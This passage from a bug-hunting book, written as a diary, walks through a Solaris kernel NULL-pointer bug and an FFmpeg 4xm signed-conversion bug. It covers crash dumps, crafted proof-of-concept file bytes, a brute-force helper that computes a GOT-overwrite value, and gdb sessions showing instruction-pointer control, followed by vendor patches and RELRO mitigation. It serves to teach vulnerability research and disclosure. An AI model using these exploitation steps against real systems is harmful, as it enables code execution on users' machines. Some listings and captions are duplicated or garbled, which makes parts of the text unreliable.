<td>The value of <strong>qi-&gt;qi_putp</strong> is assigned to the function pointer <strong>putproc</strong>. The offset of <strong>qi_putp</strong> inside the <strong>qi</strong> structure is 0x0. Therefore, <strong>qi-&gt;qi_putp</strong> is referenced at address 0x0, and the value at this address (0x0000000041414141) is assigned to the function pointer.</td>
</tr>
</tbody>
</table>
I then compiled and tested the POC code as an unprivileged user inside a restricted, non-global Solaris Zone:

```bash
solaris$ isainfo -b
64

solaris$ id
uid=100(wwwuser) gid=1(other)

solaris$ zonename
wwwzone

solaris$ ppriv -S $$
1422: -bash
flags = <none>
  E: basic
  I: basic
  P: basic
  L: zone

solaris$ /usr/sfw/bin/gcc -m64 -o poc2 poc2.c

solaris$ ./poc2
[+] Opening '/dev/arp' device .. OK
[+] Trying to map zero page .. OK
[+] PAGESIZE: 4096
[+] Zero page data:
  ... 0x00: 0x0000000041414141
  ... 0x08: 0x0000000000000010
  ... 0x10: 0x0000000000000000
  ... 0x18: 0x0000000000000000
  ... 0x20: 0x0000000000000028
  ... 0x28: 0x0000000000000000
  ... 0x30: 0x0000000000000000
  ... 0x38: 0x0000000000000000
  ... 0x40: 0x0000000000000028
  ... 0xa0: 0x00000000000007d0
[+] The bug will be triggered in 2 seconds..
```

The system crashed immediately and rebooted. After the reboot, I inspected the kernel crash files (see Section B.1 for a description of the following debugger commands):

```bash
solaris# id
uid=0(root) gid=0(root)

solaris# hostname
bob

solaris# cd /var/crash/bob/

solaris# ls
bounds    unix.0    vmcore.0    unix.1    vmcore.1

solaris# mdb unix.1 vmcore.1
```
Loading modules: [ unix krtld genunix specfs dtrace cpu.generic uppc pcplusmp ufs ip hook neti scpt arp usba fctl nca lofs mpt zfs audiosup md cpc random crypto fcip logindmux ptm sppp nfs ]

> ::msgbuf
[..]
panic[cpu0]/thread=ffffffff8816c120:
BAD TRAP: type=e (#pf Page fault) rp=ffffffff800029f530 addr=41414141 occurred in module "<unknown>" due to an illegal access to a user address

poc2:
#pf Page fault
Bad kernel fault at addr=0x41414141
pid=1404, pc=0x41414141, sp=0xffffffff800029f628, eflags=0x10246
cr0: 80050033<pg,wp,ne,et,mp,pe> cr4: 6b0<xmmre,fxsr,pge,pae,pse>
cr2: 41414141 cr3: 1782a000 cr8: c
rdi:  28 rsi: ffffffff81700380 rdx: ffffffff8816c120
rcx:  0 r8:  0 r9:  0
rax:  0 rbx:  0 rbp: ffffffff800029f680
r10:  1 r11:  0 r12:  7d0
r13: 28 r14: ffffffff81700380 r15:  0
fsb: ffffffff7ff7220200 gsb: ffffffffbc27fc0 ds:  0
es:   0 fs:    1bb gs:  0
trp:   e err:  10 rip:  41414141
cs:  28 rfl:  10246 rsp: ffffffff800029f628
ss:   30

fffffe800029f440 unix:die+da ()
fffffe800029f520 unix:trap+5e6 ()
fffffe800029f530 unix:_cmntrap+140 ()
fffffe800029f680 41414141 ()
fffffe800029f690 ip:ipioctl_tunparam+ee ()
fffffe800029f780 ip:ip_process_ioctl+280 ()
fffffe800029f820 ip:ip_wput_nodata+970 ()
fffffe800029f910 ip:ip_output_options+537 ()
fffffe800029f920 ip:ip_output+10 ()
fffffe800029f940 ip:ip_wput+37 ()
fffffe800029f9a0 unix:putnext+1f1 ()
fffffe800029f9d0 arp:ar_wput+9d ()
fffffe800029fa30 unix:putnext+1f1 ()
fffffe800029fab0 genunix:stroioctl+67b ()
fffffe800029fdd0 genunix:stroioctl+620 ()
fffffe800029fdd0 specfs:spec_ioctl+67 ()
fffffe800029fdd0 genunix:ioctl+25 ()
fffffe800029ff00 genunix:ioctl+ac ()
fffffe800029ff10 unix:brand_sys_syscall+21d ()

syncing file systems...
done
dumping to /dev/dsk/c0d0s1, offset 107413504, content: kernel

> $c
0x41414141() ip_ioctl_tunparam+0xee0x0xee0x0x2800x9700x537()
This time, the system crashed as the kernel tried to execute code at address 0x41414141 (the value of the RIP register, as shown in bold in the debugger output above). That means I had managed to gain full control over EIP/RIP.

With the right exploit payload, this bug can be used to escape from a restricted, non-global Solaris Zone and then gain superuser privileges in the global zone.

Because of the strict laws in my home country, I am not allowed to provide you with a full working exploit. However, if you are interested, you can go to the book’s website to watch a video I recorded that shows the exploit in action.12

3.3  Vulnerability Remediation

Thursday, June 12, 2008

After I informed Sun about the bug, it developed the following patch to address the vulnerability.13

```c
if (*cp == IPIF_SEPARATOR_CHAR) {
    /*
       * Reject any non-decimal aliases for logical
       * interfaces. Aliases with leading zeroes
       * are also rejected as they introduce ambiguity
       * in the naming of the interfaces.
       * In order to confirm with existing semantics,
       * and to not break any programs/script relying
       * on that behaviour, if<0>:0 is considered to be
       * a valid interface.
       * If alias has two or more digits and the first
       * is zero, fail.
       */
    if (&cp[2] < endp && cp[1] == '0') {
        if (error != NULL)
            *error = EINVAL;
        return (NULL);
    }
} [.].
```
To fix the bug, Sun introduced the new error definition in lines 19180 and 19181 of `ipif_lookup_on_name()`. That successfully prevents the NULL pointer dereference from happening. Although this measure rectifies the vulnerability described in this chapter, it doesn’t solve the basic problem. The `ipif_lookup_on_name()` function, as well as other kernel functions, still report error conditions to their caller functions in two different ways, so chances are good that a similar bug will occur again if the API isn’t used with great care. Sun should have changed the API to prevent future bugs, but it didn’t.

### 3.4 Lessons Learned

As a programmer:

- Always define proper error conditions.
- Always validate return values correctly.
- Not all kernel NULL pointer dereferences are simple denial-of-service conditions. Some of them are really bad vulnerabilities that can lead to arbitrary code execution.

As a system administrator:

- Don’t blindly trust zones, compartments, fine-grained access controls, or virtualization. If there is a bug in the kernel, there’s a good chance that every security feature can be bypassed or evaded. And that’s true not only for Solaris Zones.

### 3.5 Addendum

**Wednesday, December 17, 2008**

Since the vulnerability was fixed and a patch for Solaris is available, I released a detailed security advisory on my website today.\(^4\) The bug was assigned CVE-2008-568. Sun took **471 days** to provide a fixed version of its operating system (see Figure 3-7). That’s an unbelievably long time!

![Figure 3-7: Timeline from notification of the bug to the release of the fixed operating system](image-url)

---

\(^4\) The bug was assigned CVE-2008-568. Sun took 471 days to provide a fixed version of its operating system (see Figure 3-7). That’s an unbelievably long time!
Notes

1. The source code of OpenSolaris can be downloaded at http://dlc.sun.com/osol/on/downloads/.
8. The official Solaris Modular Debugger Guide can be found at http://dlc.sun.com/osol/docs/content/MODDEBUG/moddebug.html.
9. For more information, refer to the paper “Attacking the Core: Kernel Exploiting Notes” by twiz & sgrakkyu, which can be found at http://www.phrack.com/issues.html?issue=64&id=6.
10. More information on the virtual address space of Solaris processes can be found at http://cvs.opensolaris.org/source/xref/onnv/onnv-gate/usr/src/uts/i86pc/os/startup.c?r=10942:eaa343de0d06.
12. See http://www.trapkit.de/books/bhd/.
13. The patch from Sun can be found at http://cvs.opensolaris.org/source/diff/onnv/onnv-gate/usr/src/uts/common/inet/ip/ip_if.c|r1=/onnv/onnv-gate/usr/src/uts/common/inet/ip/ip_if.c@5240&r2=/onnv/onnv-gate/usr/src/uts/common/inet/ip/ip_if.c@5335&format=s&full=0.
Dear Diary,

I found a really beautiful bug today: a type conversion vulnerability leading to a NULL pointer dereference (see Section A.2). Under normal circumstances this wouldn't be a big deal, since the bug affects a user space library, which generally means that at worst it would crash a user space application. But this bug is different from the average user space NULL pointer dereferences, and it's possible to exploit this vulnerability to execute arbitrary code.

The vulnerability affects the FFmpeg multimedia library that is used by many popular software projects, including Google Chrome, VLC media player, MPlayer, and Xine to name just a few. There are also rumors that YouTube uses FFmpeg as backend conversion software.

There are other examples of exploitable user space NULL pointer dereferences. See Mark Dowd's MacGyver exploit for Flash (http://blogs.iss.net/archive/flash-hijack.html) or Justin Schuh's Firefox bug (http://blogs.iss.net/archive/cve-2008-0017.html).

Saturday, January 24, 2009
4.1 Vulnerability Discovery

To find the vulnerability I did the following:

- Step 1: List the demuxers of FFmpeg.
- Step 2: Identify the input data.
- Step 3: Trace the input data.

**Step 1: List the Demuxers of FFmpeg**

After getting the latest source code revision from the FFmpeg SVN repository, I generated a list of the demuxers that are available in the `libavformat` library, which is included with FFmpeg (see Figure 4-1). I noticed that FFmpeg separates most demuxers in different C files under the directory `libavformat/`.

![Figure 4-1: FFmpeg libavformat demuxers](image)

**NOTE**  
FFmpeg development has moved to a Git repository, and the SVN repository is no longer updated. The vulnerable source code revision (SVN-r16556) of FFmpeg can now be downloaded from this book’s website.

**Step 2: Identify the Input Data**

Next, I tried to identify the input data processed by the demuxers. While reading the source code, I discovered that most demuxers declare a function called `demuxername_read_header()`, which usually
takes a parameter of the type `AVFormatContext`. This function declares and initializes a pointer that looks like this:

```c
byteiocontext *pb = s->pb;
```

Many different `get_something` functions (e.g., `get_le32()`, `get_buffer()`) and special macros (e.g., `AV_RL32`, `AV_RL16`) are then used to extract portions of the data pointed to by `pb`. At this point, I was pretty sure that `pb` had to be a pointer to the input data of the media files being processed.

**Step 3: Trace the Input Data**

I decided to search for bugs by tracing the input data of each demuxer at the source code level. I started with the first demuxer file from the list, called `4xm.c`. While auditing the demuxer of the 4X movie file format, I found the vulnerability shown in the listing below.

**Source code file**  
`libavformat/4xm.c`

**Function**  
`fourxm_read_header()`

```c
93 static int fourxm_read_header(AVFormatContext *s, 
94 AVFormatParameters *ap)
95 {
96   ByteIOContext *pb = s->pb;
97   unsigned char *header;
98   int current_track = -1;
99   fourxm->track_count = 0;
100  fourxm->tracks = NULL;
101  /* allocate space for the header and load the whole thing */
102  header = av_malloc(header_size); 
103  if (!header)
104      return AVERROR(ENOMEM);
105  if (get_buffer(pb, header, header_size) != header_size)
106      return AVERROR(EIO);
107  /* check that there is enough data */
108  if (fourcc_tag == strk_TAG)
109      return AVERROR(EIO);
110 } else if (fourcc_tag == strk_TAG) {
111    /* check that there is enough data */
112    if (size != strk_SIZE) {
113      av_free(header);
114      return AVERROR_INVALIDDATA;
115    }  
116    current_track = AV_RL32(&header[i + 8]);
```
if (current_track + 1 > fourxm->track_count) {
    fourxm->track_count = current_track + 1;
    if((unsigned)fourxm->track_count >= UINT_MAX / sizeof(AudioTrack))
        return -1;
    fourxm->tracks = av_realloc(fourxm->tracks,
        fourxm->track_count * sizeof(AudioTrack));
    if (!fourxm->tracks) {
        av_free(header);
        return AVERROR(ENOMEM);
    }
    fourxm->tracks[current_track].adpcm = AV_RL32(&header[i + 12]);
    fourxm->tracks[current_track].channels = AV_RL32(&header[i + 36]);
    fourxm->tracks[current_track].sample_rate = AV_RL32(&header[i + 40]);
    fourxm->tracks[current_track].bits = AV_RL32(&header[i + 44]);
}

The get_buffer() function in line 124 copies input data from the processed media file into the heap buffer pointed to by header (see lines 101 and 121). If the media file contains a so-called strk chunk (see line 160) the AV_RL32() macro in line 166 reads an unsigned int from the header data and stores the value in the signed int variable current_track (see line 103). The conversion of a user-controlled unsigned int value from the media file to a signed int could cause a conversion bug! My interest piqued, I continued to search through the code, excited that I might be on to something.

The if statement in line 167 checks whether the user-controlled value of current_track + 1 is greater than fourxm->track_count. The signed int variable fourxm->track_count is initialized with 0 (see line 106). Supplying a value >= 0x80000000 for current_track causes a change in sign that results in current_track being interpreted as negative (to find out why, see Section A.3). If current_track is interpreted as negative, the if statement in line 167 will always return FALSE (as the signed int variable fourxm->track_count has a value of zero), and the buffer allocation in line 171 will never be reached. Clearly, it was a bad idea to convert that user-controlled unsigned int to a signed int.

Since fourxm->tracks is initialized with NULL (see line 107) and line 171 is never reached, the write operations in lines 178–181 lead to four NULL pointer dereferences. Because NULL is dereferenced by the user-controlled value of current_track, it’s possible to write user-controlled data at a wide range of memory locations.

NOTE Perhaps you wouldn’t technically call this a NULL pointer “dereference,” since I’m not actually dereferencing NULL but a nonexistent structure that’s located at a user-controlled offset from NULL. In the end it depends on how you define the term NULL pointer dereference.
The expected behavior of FFmpeg is shown in Figure 4-2 as follows:

1. `fourxm->tracks` is initialized with `NULL` (see line 107).
2. If the processed media file contains a `strk` chunk, the value of `current_track` is extracted from the user-controlled data of the chunk (see line 166).
3. If the value of `current_track + 1` is greater than zero, a heap buffer is allocated.
4. The heap buffer pointed to by `fourxm->tracks` is allocated (see lines 171 and 172).
5. Data from the media file is copied into the heap buffer, while `current_track` is used as an array index into the buffer (see lines 178–181).
6. When this behavior occurs, there is no security problem.

![Figure 4-2: Expected behavior when FFmpeg operates normally](image)

Figure 4-3 shows what happens when this bug affects FFmpeg:

1. `fourxm->tracks` is initialized with `NULL` (see line 107).
2. If the processed media file contains a `strk` chunk, the value of `current_track` is extracted from the user-controlled data of the chunk (see line 166).
3. If the value of `current_track + 1` is less than zero, the heap buffer isn’t allocated.
4. `fourxm->tracks` still points to memory address `NULL`.

Figure 4-3: Expected behavior when FFmpeg operates normally

Figure 4-3: Expected behavior when FFmpeg operates normally
5. The resulting NULL pointer is then dereferenced by the user-controlled value of current_track, and four 32-bit values of user-controlled data are assigned to the dereferenced locations (see lines 178–181).

6. Four user-controlled memory locations can be overwritten with four user-controlled data bytes each.

Figure 4-3: Unexpected behavior of FFmpeg causing memory corruption

What a beautiful bug!

### 4.2 Exploitation

To exploit the vulnerability I did the following:

- Step 1: Find a sample 4X movie file with a valid strk chunk.
- Step 2: Learn about the layout of the strk chunk.
- Step 3: Manipulate the strk chunk to crash FFmpeg.
- Step 4: Manipulate the strk chunk to get control over EIP.

There are different ways to exploit file format bugs. I could either create a file with the right format from scratch or alter an existing file. I chose the latter approach. I used the website [http://samples.mplayerhq.hu/](http://samples.mplayerhq.hu/) to find a 4X movie file suitable for testing this vulnerability. I could have built a file myself, but downloading a preexisting file is fast and easy.
**Step 1: Find a Sample 4X Movie File with a Valid strk Chunk**

I used the following to get a sample file from [http://samples.mplayerhq.hu/](http://samples.mplayerhq.hu/).

```bash
linux$ wget -q http://samples.mplayerhq.hu/game-formats/4xm/ → TimeGate01s01n01a02_2.4xm
```

After downloading the file, I renamed it `original.4xm`.

**Step 2: Learn About the Layout of the strk Chunk**

According to the 4X movie file format description, a strk chunk has the following structure:

---

| bytes 0-3 | fourcc: 'strk' |
| bytes 4-7 | length of strk structure (40 or 0x28 bytes) |
| bytes 8-11 | track number |
| bytes 12-15 | audio type: 0 = PCM, 1 = 4X IMA ADPCM |
| bytes 16-35 | unknown |
| bytes 36-39 | number of audio channels |
| bytes 40-43 | audio sample rate |
| bytes 44-47 | audio sample resolution (8 or 16 bits) |

---

The strk chunk of the downloaded sample file starts at file offset 0x1a6, as shown in Figure 4-4:

![Figure 4-4](image)

**Figure 4-4:** A strk chunk from the 4X movie sample file I downloaded. The numbers shown are referenced in Table 4-1.

Table 4-1 describes the layout of the strk chunk illustrated in Figure 4-4.

**Table 4-1: Components of strk Chunk Layout Shown in Figure 4-4**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Header offset</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>(1)</td>
<td>&amp;header[i]</td>
<td>fourcc: 'strk'</td>
</tr>
<tr>
<td>(2)</td>
<td>&amp;header[i+4]</td>
<td>length of strk structure (0x28 bytes)</td>
</tr>
<tr>
<td>(3)</td>
<td>&amp;header[i+8]</td>
<td>track number (this is the current_track variable from FFmpeg source code)</td>
</tr>
<tr>
<td>(4)</td>
<td>&amp;header[i+12]</td>
<td>audio type (this is the value that gets written at the first dereferenced memory location)</td>
</tr>
</tbody>
</table>
To exploit this vulnerability, I knew that I would need to set the values of track number at &header[i+8] (that corresponds to current_track from FFmpeg source code) and audio type at &header[i+12]. If I set the values properly, the value of audio type would be written at the memory location NULL + track number, which is the same as NULL + current_track.

In summary, the (nearly) arbitrary memory write operations from the FFmpeg source code are as follows:

```c
fourxm->tracks[current_track].adpcm = AV_RL32(&header[i + 12]);
fourxm->tracks[current_track].channels = AV_RL32(&header[i + 36]);
fourxm->tracks[current_track].sample_rate = AV_RL32(&header[i + 40]);
fourxm->tracks[current_track].bits = AV_RL32(&header[i + 44]);
```

And each corresponds to this pseudo code:

```c
NULL[user_controlled_value].offset = user_controlled_data;
```

### Step 3: Manipulate the strk Chunk to Crash FFmpeg

After compiling the vulnerable FFmpeg source code revision 16556, I tried to convert the 4X movie into an AVI file to verify that the compilation was successful and that FFmpeg worked flawlessly.

```bash
linux$ ./ffmpeg_g -i original.4xm original.avi
```

FFmpeg version SVN-r16556, Copyright (c) 2000-2009 Fabrice Bellard, et al.
configuration:
libavutil 49.12.0 / 49.12.0
libavcodec 52.10.0 / 52.10.0
libavformat 52.23.1 / 52.23.1
libavdevice 52.1.0 / 52.1.0
built on Jan 24 2009 02:30:50, gcc: 4.3.3

Input #0, 4xm, from 'original.4xm':
Duration: 00:00:13.20, start: 0.000000, bitrate: 704 kb/s
Stream #0.0: Video: 4xm, rgb565, 640x480, 15.00 tb(r)
Stream #0.1: Audio: pcm_s16le, 22050 Hz, stereo, s16, 705 kb/s

Output #0, avi, to 'original.avi':
Stream #0.0: Video: mpeg4, yuv420p, 640x480, q=2-31, 200 kb/s, 15.00 tb(c)
Stream #0.1: Audio: mp2, 22050 Hz, stereo, s16, 64 kb/s

Stream mapping:
Stream #0.0 -> #0.0
Stream #0.1 -> #0.1
Press [q] to stop encoding
frame= 47 fps= 0 q=2.3 Lsize= 194K time=3.08 bitrate= 515.3kbits/s
video:158kB audio:24kB global headers:0kB muxing overhead 6.715897%

← Compiling FFmpeg:
linux$ ./configure; make
These commands will compile two different binary versions of FFmpeg:
* ffmpeg Binary without debugging symbols
* ffmpeg_g Binary with debugging symbols

```bash
58 Chapter 4
```
Next, I modified the values of track number as well as audio type in the strk chunk of the sample file.

As illustrated in Figure 4-5, I changed the value of track number to 0xaaaaaaaa (1) and the value of audio type to 0xbbbbbbbb (2). I named the new file poc1.4xm and tried to convert it with FFmpeg (see Section B.4 for a description of the following debugger commands).

![Figure 4-5: The strk chunk of the sample file after I altered it. The changes I made are highlighted and framed, and the numbers shown are referenced in the text above.]

```
linux$ gdb ./ffmpeg_g
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) set disassembly-flavor intel
(gdb) run -i poc1.4xm
Starting program: /home/tk/BHD/ffmpeg/ffmpeg_g -i poc1.4xm
FFmpeg version SVN-r16556, Copyright (c) 2000-2009 Fabrice Bellard, et al.
configuration:
  libavutil 49.12.0 / 49.12.0
  libavcodec 52.10.0 / 52.10.0
  libavformat 52.23.1 / 52.23.1
  libavdevice 52.1.0 / 52.1.0
built on Jan 24 2009 02:30:50, gcc: 4.3.3

Program received signal SIGSEGV, Segmentation fault.
0x0809c89d in fourxm_read_header (s=0x8913330, ap=0xbf8b6c24) at libavformat/4xm.c:178
178 fourxm->tracks[current_track].adpcm = AV_RL32(&header[i + 12]);
```

As expected, FFmpeg crashed with a segmentation fault at source code line 178. I further analyzed the FFmpeg process within the debugger to see what exactly caused the crash.

```
(gdb) info registers
eax  0xbbbbbbbb  -1145324613
ecx  0x891c400  143770624
edx  0x0       0
```
At the time of the crash, the registers EAX and EBX were filled with
the values that I input for audio type (0xbbbbbbbb) and track number
(0xaaaaaaaa). Next, I asked the debugger to display the last instruction
executed by FFmpeg:

```
(gdb) x/1i $eip
0x809c89d <fourxm_read_header+509>:    mov    DWORD PTR [edx+ebp*1+0x10],eax
```

As the debugger output shows, the instruction that caused the
segmentation fault was attempting to write the value 0xbbbbbbbb at an
address calculated using my value for track number.

To control the memory write, I needed to know how the destination
address of the write operation was calculated. I found the answer
by looking at the following assembly code:

```
(gdb) x/7i $eip - 21
0x809c888 <fourxm_read_header+488>:    lea    ebp,[ebx+ebx*4]
0x809c88b <fourxm_read_header+491>:    mov    eax,DWORD PTR [esp+0x34]
0x809c88f <fourxm_read_header+495>:    mov    edx,DWORD PTR [esi+0x10]
0x809c892 <fourxm_read_header+498>:    mov    DWORD PTR [esp+0x28],ebp
0x809c896 <fourxm_read_header+502>:    shl    ebp,0x2
0x809c899 <fourxm_read_header+505>:    mov    eax,DWORD PTR [ecx+eax*1+0xc]
0x809c89d <fourxm_read_header+509>:    mov    DWORD PTR [edx+ebp*1+0x10],eax
```

These instructions correspond to the following C source line:

```
[..]
178       fourxm->tracks[current_track].adpcm = AV_RL32(&header[i + 12]);
[..]
```

Table 4-2 explains the results of these instructions.

Since EBX contains the value I supplied for current_track and EDX
contains the NULL pointer of fourxm->tracks, the calculation can be
expressed as this:

```
edx + ((ebx + ebx * 4) << 2) + 0x10 = destination address of the write operation
```
Table 4-2: List of the Assembler Instructions and the Result of Each Instruction

<table>
<thead>
<tr>
<th>Instruction</th>
<th>Result</th>
</tr>
</thead>
</table>
| lea ebp,[ebx+ebx*4] | ebp = ebx + ebx * 4  
  (The EBX register contains the user-defined value of current_track (0xaaaaaaaa).) |
| mov eax,DWORD PTR [esp+0x34] | eax = array index i |
| mov edx,DWORD PTR [esi+0x10] | edx = fourxm->tracks |
| shl ebp,0x2 | ebp = ebp << 2 |
| mov eax,DWORD PTR [ecx+eax*1+0xc] | eax = AV_RL32(&header[i + 12]); or eax = ecx[eax + 0xc]; |
| mov DWORD PTR [edx+ebp*1+0x10],eax | fourxm->tracks[current_track].adpcm = eax; or edx[ebp + 0x10] = eax; |

Or in a more simplified form:

```
edx + (ebx * 20) + 0x10 = destination address of the write operation
```

I supplied the value 0xaaaaaaaa for current_track (EBX register), so the calculation should look like this:

```
NULL + (0xaaaaaaaa * 20) + 0x10 = 0x55555558
```

The result of 0x55555558 can be confirmed with the help of the debugger:

```
(gdb) x/1x $edx+$ebp+0x10
0x55555558: Cannot access memory at address 0x55555558
```

**Step 4: Manipulate the strk Chunk to Gain Control over EIP**

The vulnerability allowed me to overwrite nearly arbitrary memory addresses with any 4-byte value. To gain control of the execution flow of FFmpeg, I had to overwrite a memory location that would allow me to control the EIP register. I had to find a stable address, one that was predictable within the address space of FFmpeg. That ruled out all stack addresses of the process. But the *Executable and Linkable Format (ELF)* used by Linux provides an almost perfect target: the *Global Offset Table (GOT)*. Every library function used in FFmpeg has a reference in the GOT. By manipulating GOT entries, I could easily gain control of the execution flow (see Section A.4). The good thing about the GOT is that it’s predictable, which is exactly what I needed. I could gain control of EIP by overwriting the GOT entry of a library function that is called after the vulnerability happens.
So, what library function is called after the arbitrary memory writes? To answer this question, I had a look at the source code again:

**Source code file**  *libavformat/4xm.c*

**Function**  *fourxm_read_header()*

```c
[...] /* allocate a new AVStream */
185   st = av_new_stream(s, current_track);
[...]
```

Directly after the four memory-write operations, a new AVStream is allocated using the function `av_new_stream()`.

**Source code file**  *libavformat/utils.c*

**Function**  *av_new_stream()*

```c
[...] AVStream *av_new_stream(AVFormatContext *s, int id)
2272 {
2273   AVStream *st;
2274   int i;
2275   if (s->nb_streams >= MAX_STREAMS)
2277     return NULL;
2278   st = av_mallocz(sizeof(AVStream));
[...]
```

In line 2279 another function named `av_mallocz()` is called.

**Source code file**  *libavutil/mem.c*

**Functions**  *av_mallocz() and av_malloc()*

```c
[...] void *av_malloc(unsigned int size)
43 {
45   void *ptr = NULL;
46   #ifdef CONFIG_MEMALIGN_HACK
47     long diff;
48   #endif
49   /* let's disallow possible ambiguous cases */
50   if(size > (INT_MAX-16))
51     return NULL;
53   #ifdef CONFIG_MEMALIGN_HACK
55     ptr = malloc(size+16);
56     if(ptr)
57       return ptr;
58     diff = (((long)ptr - 1) & 15) + 1;
59     ptr = (char*)ptr + diff;
60     ((char*)ptr)[-1] = diff;
61   #elif defined (HAVE_POSIX_MEMALIGN)
62     posix_memalign(&ptr,16,size);
```
In line 137 the function `av_malloc()` is called, and it calls `memalign()` in line 64 (the other `ifdef` cases—lines 54 and 61—are not defined when using the Ubuntu Linux 9.04 platform). I was excited to see `memalign()` because it was exactly what I was looking for: a library function that's called directly after the vulnerability happens (see Figure 4-6).

![Call graph](image)

Figure 4-6: A call graph showing the path from the vulnerable function to `memalign()`.

That brought me to the next question: What is the address of the GOT entry of `memalign()` in FFmpeg? I gained this information with the help of `objdump`:

```bash
linux$ objdump -R ffmpeg_g | grep memalign
08560204 R_386_JUMP_SLOT   posix_memalign
```

So the address I had to overwrite was `0x08560204`. All I had to do was calculate an appropriate value for track number (`current_track`). I could get that value in either of two ways: I could try to calculate it, or I could use brute force. I chose the easy option and wrote the following program:

```c
#include <stdio.h>

#define MEMALIGN_GOT_ADDR   0x08560204
#define MIN_TRACK         0
#define MAX_TRACK         9

int main(int argc, char *argv[])
{
    int track;
    int result = 0;
    for (track = MIN_TRACK; track <= MAX_TRACK; track++) {
        result = memalign(result, track);
    }
    return result;
}
```

I could get that value in either of two ways: I could try to calculate it, or I could use brute force. I chose the easy option and wrote the following program:
```c
07 #define SEARCH_START 0x80000000
08 #define SEARCH_END 0xFFFFFFFF
09
10 int
11 main (void)
12 {
13    unsigned int  a, b = 0;
14
15    for (a = SEARCH_START; a < SEARCH_END; a++) {
16        b = (a * 20) + 0x10;
17        if (b == MEMALIGN_GOT_ADDR) {
18            printf ("Value for 'current_track': %08x\n", a);
19            return 0;
20        }
21    }
22
23    printf ("No valid value for 'current_track' found.\n");
24
25    return 1;
26 }
```

**Listing 4-1:** Little helper program to use brute force to find the appropriate value for `current_track` *(addr_brute_force.c)*

The program illustrated in Listing 4-1 uses brute force to find an appropriate track number (`current_track`) value, which is needed to overwrite the (GOT) address defined in line 4. This is done by trying all possible values for `current_track` until the result of the calculation (see line 16) matches the searched GOT entry address of `memalign()` (see line 17). To trigger the vulnerability, `current_track` has to be interpreted as negative, so only values in the range of 0x80000000 to 0xffffffff are considered (see line 15).

Example:

```bash
linux$ gcc -o addr_brute_force addr_brute_force.c
linux$ ./addr_brute_force
Value for 'current_track': 8d378019
```

I then adjusted the sample file and renamed it `poc2.4xm`.

The only thing I changed was the value of track number (see (1) in Figure 4-7). It now matched the value generated by my little helper program.

```
000001a0h: 32 2E 77 61 76 00 73 74 72 6B 28 00 00 00 19 80 ; 2.wav.strk(....€
000001b0h: 37 8D BB BB BB BB 00 00 04 00 D1 07 00 00 2F 00 ; 7 »»»....Ñ.../.
```

**Figure 4-7:** The strk chunk of `poc2.4xm` after I adjusted the track number (`current_track`)

I then tested the new proof-of-concept file in the debugger (see Section B.4 for a description of the following debugger commands).
Bingo! Full control over EIP. After I gained control over the instruction pointer, I developed an exploit for the vulnerability. I used the VLC media player as an injection vector, because it uses the vulnerable version of FFmpeg.

As I’ve said in previous chapters, the laws in Germany do not allow me to provide a full working exploit, but you can watch a short video I recorded that shows the exploit in action on the book’s website. ⁵

Figure 4-8 summarizes the steps I used to exploit the vulnerability. Here is the anatomy of the bug shown in this figure:

1. The destination address for the memory write is calculated while using current_track as an index (NULL + current_track + offset). The value of current_track derives from user-controlled data of the 4xm media file.
2. The source data of the memory write derives from user-controlled data of the media file.
3. The user-controlled data is copied at the memory location of the memalign() GOT entry.
4.3 Vulnerability Remediation

Tuesday, January 27, 2009

After I told the FFmpeg maintainers about the bug, they developed the following patch:

```c
--- a/libavformat/4xm.c
+++ b/libavformat/4xm.c
@@ -166,12 +166,13 @@ static int fourxm_read_header(AVFormatContext *s,
     goto fail;
 }
 current_track = AV_RL32(&header[i + 8]);
+  if((unsigned)current_track >= UINT_MAX / sizeof(AudioTrack) - 1){
+    av_log(s, AV_LOG_ERROR, "current_track too large\n")
+    ret= -1;
+    goto fail;
+  }
  if (current_track + 1 > fourxm->track_count) {
    fourxm->track_count = current_track + 1;
-   if((unsigned)fourxm->track_count >= UINT_MAX / sizeof(AudioTrack)){
-     ret= -1;
-     goto fail;
-   }
    fourxm->tracks = av_realloc(fourxm->tracks, 
      fourxm->track_count * sizeof(AudioTrack));
    if (!fourxm->tracks) {
```

The patch applies a new length check that restricts the maximum value for `current_track` to 0x09249247.
When the patch is in place, current_track can't become negative, and the vulnerability is indeed fixed.

This patch eliminated the vulnerability at the source code level. There's also a generic exploit mitigation technique that would make it much harder to exploit the bug. To gain control of the execution flow, I had to overwrite a memory location to gain control over EIP. In this example, I used a GOT entry. The RELRO mitigation technique has an operation mode called Full RELRO that (re)maps the GOT as read-only, thus making it impossible to use the described GOT overwrite technique to gain control of the execution flow of FFmpeg. However, other exploitation techniques that are not mitigated by RELRO would still allow control over EIP.

To make use of the Full RELRO mitigation technique, the FFmpeg binary would need to be recompiled with the following additional linker options: -Wl,-z,relro,-z,now.

Example of recompiling FFmpeg with Full RELRO support:

```
linux$ ./configure --extra-ldflags="-Wl,-z,relro,-z,now"
linux$ make
```

Get GOT entry of memalign():

```
linux$ objdump -R ./ffmpeg_g | grep memalign
0855ffd0 R_386_JUMP_SLOT   posix_memalign
```

Adjust Listing 4-1 and use brute force to get the value for current_track:

```
linux$ ./addr_brute_force
Value for 'current_track': 806ab330
```

Make a new proof-of-concept file (poc_relro.4xm) and test it in the debugger (see Section B.4 for a description of the following debugger commands):

```
linux$ gdb -q ./ffmpeg_g
(gdb) set disassembly-flavor intel
(gdb) run -i poc_relro.4xm
Starting program: /home/tk/BHD/ffmpeg_relro/ffmpeg_g -i poc_relro.4xm
FFmpeg version SVN-r16556, Copyright (c) 2000-2009 Fabrice Bellard, et al.
configuration: --extra-ldflags=-Wl,-z,relro,-z,now
libavutil 49.12. 0 / 49.12. 0
libavcodec 52.10. 0 / 52.10. 0
```
FFmpeg crashed again while trying to parse the malformed media file. To see what exactly caused the crash, I asked the debugger to display the current register values as well as the last instruction executed by FFmpeg:

```
(gdb) info registers
eax   0xbbbbbbbb  -1145324613  
ecx   0xa83f3e0  176419808
edx   0x0    0
ebx   0x806ab330  -2140490960
esp   0xbfb194f0  0xbfb194f0
ebp   0x855ffc0  0x855ffc0
esi   0xa83f3a0  176419744
edi   0xa83f330  176419632
eip   0x809c89d  0x809c89d <fourxm_read_header+509>
eflags 0x10206  [ PF IF RF ]
